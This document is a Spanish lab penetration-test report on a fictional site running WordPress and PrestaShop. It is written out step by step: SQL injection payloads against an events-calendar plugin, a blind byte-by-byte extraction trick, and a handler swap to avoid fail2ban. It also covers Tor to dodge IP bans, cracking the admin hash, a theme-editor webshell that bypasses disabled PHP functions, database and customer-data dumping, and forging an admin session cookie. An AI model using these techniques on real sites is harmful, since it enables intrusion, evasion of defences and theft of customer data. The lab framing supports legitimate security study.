Entorno de laboratorio. Este informe documenta un ejercicio ofensivo ejecutado contra un laboratorio privado de pruebas. Todos los datos de clientes, empleados y registros son sintéticos: los dominios usan TLDs reservados (.example, RFC 2606) y las IPs pertenecen a rangos de documentación no enrutables (RFC 5737), por lo que no corresponden a ningún sistema real. Las credenciales y claves se muestran redactadas como higiene editorial.
LABORATORIO CONTROLADO · 2026-08-12 → 2026-08-14

Pentest de laboratorio: victima.example

Cronología interactiva del ejercicio — ejecutado íntegramente en un laboratorio privado con datos sintéticos — desde el reconocimiento inicial hasta el post-explotación. 48 tareas planificadas, 37 completadas, 11 abandonadas. Objetivo: admin en WordPress. Resultado: 4 niveles de acceso sobre el target.

🎯
Objetivo
Obtener permisos de administrador en https://victima.example/ (WordPress) — CUMPLIDO
Niveles de acceso obtenidos
objetivo cumplido
  • WordPress admin — siteadmin / [REDACTED] (root)
  • Webshell OS — uid=1112(siteuser) via WP theme editor + proc_open
  • PrestaShop BO admin — boadmin@provider.example / SuperAdmin, cookie forjada
  • MySQL — 2 BDs: wp_dbuser + db_shop, credenciales extraídas
Impacto adicional
brecha de datos PII
  • ~1.000 clientes (emails + bcrypt + PII)
  • ~500 pedidos (métodos de pago + totales)
  • ~750 direcciones (calle + código postal + teléfono)
  • ~1.250 mensajes de cliente (email + IP + mensaje)
  • Todos los registros son datos sintéticos generados para el laboratorio — no existen personas reales detrás.
RESUMEN Diagrama temporal del ataque

La historia del engagement en una línea: cada hito es un momento decisivo. Rojo pulsante = bloqueo/ban, morado = pivote de estrategia, verde = avance, dorado = objetivo cumplido.

FASE 01 Reconocimiento y enumeración inicial
▸ 1.1 Escaneo de puertos
scan-full-target-ip scanner

Escaneo completo TCP/UDP sobre 203.0.113.10 (victima.example / host34.provider.example). Rango bajo (1-10000) cubierto; rango alto hit host-timeout por firewall rate-limiting.

  • 22 servicios abiertos identificados
  • 80/443 — Apache httpd (HTTPS principal)
  • 21 — Pure-FTPd (SSL/TLS) · 22 — SSH
  • 3306 — MySQL 5.7 (unauthorized desde exterior)
  • 53 — Unbound DNS · 5060 — SIP
  • 110/143/993/995 — Dovecot POP3/IMAP · 587 — SMTP submission
  • 2082/2083 — cPanel · 2086/2087 — WHM · 2095/2096 — Webmail · 2078 — Webdisk
  • 8080 — http-proxy (tcpwrapped)
Host dual-homed: 203.0.113.10 (public) + 203.0.113.20 (segundo interface). CloudLinux/CentOS7, kernel TuxCare hardened.
▸ 1.2 Enumeración WordPress
wp-enumerate-target enumerator
ComponenteVersiónNota
WP core7.0.3desactualizado
The7 (dt-the7)14.2.0premium, última 14.4.6
Modern Events Calendar Lite6.4.5CVE history → objetivo #1
Slider Revolution6.5.12Dec 2021
Elementor3.35.0~2 major behind
Contact Form 76.1.4—
Instagram Feed6.10.0—
Google Site Kit1.179.0—
The7 Elements (dt-the7-core)bundledcon theme
Superficie expuesta
  • xmlrpc.php habilitado (system.multicall + pingback.ping + wp.*)
  • REST API /wp-json/ habilitada — expone usuarios
  • wp-sitemap-users-1.xml expone autores
  • ?author=1 → 301 redirect a /author/siteadmin/
  • Usuario admin único: siteadmin (ID=1)
  • Registro de usuarios: deshabilitado
  • Info-disclosure: readme.html, license.txt, install.php, repair.php accesibles
▸ 1.3 Fingerprint HTTP profundo
web-fingerprint-target enumerator
  • Server header: Apache (ServerTokens Prod)
  • Cabeceras de seguridad ausentes: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy
  • Ficheros sensibles probados (todos 404): .git/HEAD, .env, wp-config.php.bak, .htaccess, .htpasswd, backup.sql, backup.zip...
  • Directory listing: deshabilitado en /wp-content/ y subdirectorios
  • /wp-config.php: 200 con 0 bytes (PHP interpretado, no leak)
  • /server-status y /server-info: 404 (no expuestos)
▸ 1.4 OSINT pasivo
osint-target-creds scanner

Sin tocar el host (estábamos en ban IP). Subdominios pasivos via subfinder/amass/dnsdumpster:

  • Descubiertos: cpanel.victima.example, webmail.victima.example, webdisk.victima.example, mail.victima.example, sitio-hermano.example — todos → 203.0.113.10
  • Wayback Machine (waybackurls): sin leaks de config/creds
  • Google dorks: site:victima.example, pastebin 'target', 'shopowner'
Identidad del propietario
  • Admin Principal (SiteAdmin)
  • Tienda física: Calle Ficticia 123, 01001 Ciudad
  • Empresa: Empresa Operadora SL (Ciudad, CIF B00000000)
  • Email: shopowner@example.org
  • Histórico: Joomla en 198.51.100.99 (OVH Italy) hasta ~Q2 2021, migrado a WP ~April 2021
▸ 1.5 CVE research pasivo
cve-the7-theme + cve-check-revslider enumerator
ProductoCVEEstado
The7 14.2.0CVE-2026-6646 (Stored XSS dt_default_button)confirmed
The7 14.2.0CVE-2025-63076 (LFI dt-the7-core)false_positive
Slider Revolution 6.5.12CVE-2024-34444 + CVE-2026-6728false_positive
Slider Revolution 6.5.12: SR7 REST API namespace no existe en 6.5.12 (introducido en 6.6.x). Los advisories con range "<6.7.0" eran imprecisos.
FASE 02 Ataque a WordPress: MEC SQLi (CVE-2026-11349)
▸ 2.1 Detección del WAF / fail2ban
waf-fingerprint-passive enumerator ban IP

Primer intento de SQLi time-based en mec_list_load_more con OR SLEEP(5):

POST /wp-admin/admin-ajax.php?action=mec_list_load_more
data: atts[include][]=0) OR SLEEP(5)#
# Baseline: HTTP 200, 1.3s, JSON count=0
# Payload SLEEP → ban IP-level inmediato (fail2ban recidive jail)
Conclusión: No hay WAF producto (no mod_security, no Wordfence, no Sucuri). La defensa es fail2ban con jail custom en POST a mec_list_load_more + recidive para bans repetidos. Bantime >10min.
▸ 2.2 Setup del proxy Tor
setup-tor-proxy infrastructure

Para eludir el ban IP, se montó un proxy Tor SOCKS5:

  • Tor daemon en 127.0.0.1:9050 (PID 8912)
  • ExitNodes: es, fr, de, nl
  • Verificado: proxychains curl ipify devuelve IP Tor
  • Alcance a victima.example desde Tor: ~50% success (OVH edge bloquea algunos exits Tor)
▸ 2.3 SQLi via Tor — UNION confirmado
exploit-mec-sqli-tor exploiter primer éxito

Tor + payload UNION quote-free de 8 columnas:

POST /wp-admin/admin-ajax.php?action=mec_list_load_more
data: atts[include][]=0) UNION SELECT 1,0,0x323032372d30362d3135,
  0x323032372d30362d3135,1813010400,1813010400,0x7075626c697368,1 -- -

# Respuesta: HTTP 200 JSON {"end_date":"2027-06-15","count":0}
# La fecha inyectada 2027-06-15 (0x323032372d30362d3135) aparece en end_date
# → UNION ejecutándose confirmed
  • Canal de exfiltración: end_date (charset Y-m-d, solo fechas)
  • Subquery referenciando wp_users funciona → confirma wp_users existe
Análisis del código fuente (MEC Lite 6.4.5)
  • Sink: app/libraries/skins.php:610 — implode(',', $this->atts['include']) concatenado RAW en SQL
  • Parámetro inyectable: $_REQUEST['atts']['include'] / $_REQUEST['atts']['exclude']
  • Tabla: #__mec_dates (8 columnas: id, post_id, dstart, dend, tstart, tend, status, public)
  • getVar() returns raw $_REQUEST sin sanitización; wp_magic_quotes solo afecta string literals (usar 0x hex)
▸ 2.4 Reconocimiento de privilegios
check-file-priv-3req exploit_dev

3 requests booleanos via end_date oracle (TRUE=2028-01-01, FALSE=2029-01-01):

  • FILE privilege: FALSE
  • SUPER privilege: FALSE
  • secure_file_priv: non-empty
INTO OUTFILE webshell dead. No se puede escribir archivo directamente via SQL. Hay que extraer datos por el canal blind.
▸ 2.5 Extracción blind del hash admin
blind-extract exploit_dev extraction completa

Técnica: MAKEDATE boolean oracle via mec_grid_load_more (handler alternativo NO en el jail de fail2ban):

atts[include][]=0) UNION SELECT 1,0,
  MAKEDATE(2027,ASCII(SUBSTRING((subquery),N,1))),
  ...,1 -- -
# 1 byte por request via encoding MAKEDATE → byte extraído aparece como fecha en end_date
# ~60 requests lentos (delay 3-5s, sin trigger de fail2ban)
Extracciones
  • Prefijo de tabla WP: xx_wp_prefix_ (custom, no wp_) — ~14 requests
  • Hash phpass admin: $P$B<REDACTED-PHPASS-HASH>/ — ~34 requests
  • Confirmación: admin ID=1, user_login=siteadmin
Tareas intermedias
  • blind-extract-hash-tor — abandoned (Tor egress inestable)
  • blind-extract-checkpointed — abandoned (superseded)
  • blind-extract — completado
▸ 2.6 Crack offline del hash
wp-hash-crack identity cracked

Hash phpass (WordPress portable hash, hashcat mode 400):

$P$B<REDACTED-PHPASS-HASH>/

# hashcat -m 400 + wordlist custom (Spanish/Ciudad/Target/Empresa/2026) + dive.rule
# Crackeado: [REDACTED] (plaintext recuperado, valor redactado)
▸ 2.7 Verificación WP admin
exploit-xmlrpc-brute-admin identity 🎯 objetivo cumplido

Verificación via xmlrpc.php wp.getUsersBlogs:

POST /xmlrpc.php
<methodCall><methodName>wp.getUsersBlogs</methodName>
<params>
  <param><value>siteadmin</value></param>
  <param><value>[REDACTED]</value></param>
</params>

# Respuesta: isAdmin=1, blogName=TiendaDemo, blogid=1
# ACCESO WP ADMIN CONFIRMADO 🎯
# Goal marcado como achieved
FASE 03 Post-exploto WordPress
▸ 3.1 Webshell via theme editor
wp-postexploit-v2 post_exploit shell

Con acceso WP admin (sesión cookie en /tmp/crack/wp_cookies.txt):

  • Theme editor: Inyección en 404.php del theme dt-the7
  • Bypass disable_functions: exec, passthru, shell_exec, system deshabilitados en PHP 7.4.33, PERO proc_open permitido
  • Webshell: https://victima.example/wp-content/themes/dt-the7/404.php
  • Handlers: ?cmd=<sh -c>, ?read=<path>, ?dump=<sql>, ?probe=1
  • Ejecuta como uid=1112(siteuser) gid=1113(siteuser)
  • open_basedir vacío — acceso filesystem completo
▸ 3.2 Extracción de credenciales DB
cred dump

Via webshell ?read=:

wp-config.php
  • DB_USER=wp_dbuser
  • DB_PASS=[REDACTED]
  • DB_HOST=localhost
  • table_prefix=xx_site_
PrestaShop parameters.php
  • db_shop DB creds
  • _COOKIE_KEY_ (legacy md5)
  • _NEW_COOKIE_KEY_ = def0<REDACTED-KEY>...
  • _COOKIE_IV_
▸ 3.3 Dumpeo de employees PrestaShop
superadmin dump

Via webshell ?dump= (MySQLi directo):

IDEmailNombrePerfilHash
1boadmin@provider.exampleAdmin PrincipalSuperAdmin$2y$10$<REDACTED-BCRYPT>...
2contabilidad@victima.exampleContabilidadprofile=1$2y$10$<REDACTED-BCRYPT>...
FASE 04 Ataque a PrestaShop
▸ 4.1 Descubrimiento y fingerprint
ps-version + ps-adminfind + ps-modules + ps-enum enumerator
  • Versión PrestaShop: fingerprint inicial estimó 1.7.7.x. Ground truth: 1.7.8.3 (leído via webshell).
  • Directorio admin renombrado: ffuf/gobuster → todos 404. Descubierto via webshell: /shop/admin7x2kp9/
  • Módulos: 28 módulos enumerados via ffuf sobre /modules/
Módulos destacados
MóduloVersiónCVE / Nota
ps_facetedsearch4.0.1CVE-2026-54159 Object Injection RCE, CVSS 10
blockwishlist2.0.1uninstalled carpeta existe PERO no en ps_module
ets_whatsapp1.0.2ETS Software, 3rd-party con CVE history
  • Webservice API: /shop/api/ habilitado, 401 sin key
  • Theme: classic (webpack5, default 1.7.x)
  • Registro de clientes: abierto por defecto
▸ 4.2 CVE research pasivo
webapp
CVEProductoSeveridadEstado
CVE-2023-30839PS core <1.7.8.9 SQL Manager bypasscriticalconfirmed
CVE-2026-54159ps_facetedsearch 4.0.1 Object Injection→RCEcriticalconfirmed
CVE-2022-31181PS core <1.7.8.7 SQLi→Smarty eval→RCEhighsuspected
CVE-2023-39528PS core <=8.1.0 path traversal+phar RCEhighneeds evidence
CVE-2022-31101blockwishlist 2.0.1 SQLihighfalse_positive
▸ 4.3 Customer registration
webapp
  • Cuenta cliente registrada: pentest-test@example.net / [REDACTED]
  • Acceso front-office (customer), NO BO admin
▸ 4.4 blockwishlist SQLi — FALSE POSITIVE
ps-blockwishlist-sqli exploiter false positive

CVE-2022-31101 requiere que el endpoint /module/blockwishlist/view sea alcanzable. 6 indicadores host-level confirman blockwishlist está UNINSTALLED:

  • Todos los /module/blockwishlist/* routes → 404
  • ?fc=module&module=blockwishlist&controller=view → 404
  • DB ground truth: SELECT id_module FROM ps_module WHERE name='blockwishlist' → NO ROW
Carpeta del módulo existe pero no está instalada en ps_module. No explotable.
▸ 4.5 Cookie forge de BO admin
ps-cookie-forge-v2 + verify identity · webapp 🎯 BO admin
4.5.1 Primer intento — formato legacy md5 failed

Formato estimado: cookie_name = PrestaShop-<md5(cookie_key+'Admin|'+cookie_key)>, contenido = serialize(array employee data), checksum = md5(...). No funcionó. PS 1.7.8.3 usa _NEW_COOKIE_KEY_ (AES via PhpEncryption) + sha256(_COOKIE_IV_+body) checksum.

4.5.2 Segundo intento — script generador en servidor

Script PHP construido via webshell en /home/siteuser/public_html/shop/.ps_forge.php:

  • Lee _NEW_COOKIE_KEY_ y _COOKIE_IV_ de parameters.php
  • Inserta fila en employee_session (id=<redacted>, token <REDACTED-TOKEN>...) para binding de sesión
  • Encripta cookie con PhpEncryption(_NEW_COOKIE_KEY_) usando checksum sha256(_COOKIE_IV_+body)
  • Emite cookie PrestaShop-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4=<REDACTED-ENCRYPTED-COOKIE>
4.5.3 Verificación
  • Ejecutado .ps_forge.php via HTTP → cookie generada
  • Probada contra https://victima.example/shop/admin7x2kp9/ con curl -b
  • GET → 302 AdminDashboard?token=... → 200 (129KB full BO dashboard)
  • Dashboard completo con menús: Pedidos, Catálogo, Clientes, Módulos, Preferencias, Parámetros, Estadísticas
  • Banner muestra "Admin" (Admin Principal, SuperAdmin)
  • ACCESO BO ADMIN CONFIRMADO 🎯
Ground truth: _PS_VERSION_=1.7.8.3, PHP 7.4.33. Access registrado: prestashop_bo_admin as boadmin@provider.example (root)
SÍNTESIS Lecciones aprendidas
Lo que funcionó bien
3 wins
  1. Blind SQLi via MAKEDATE oracle — el canal end_date permitió 1 byte por request sin trigger de fail2ban, usando mec_grid_load_more (no en el jail) en vez de mec_list_load_more.
  2. Cookie forge con script en servidor — más fiable que forjar offline porque usa las funciones nativas de PrestaShop con las keys reales.
  3. Post-exploit via webshell — acceso filesystem completo (open_basedir vacío) permitió leer configs y dumpear BD sin privesc.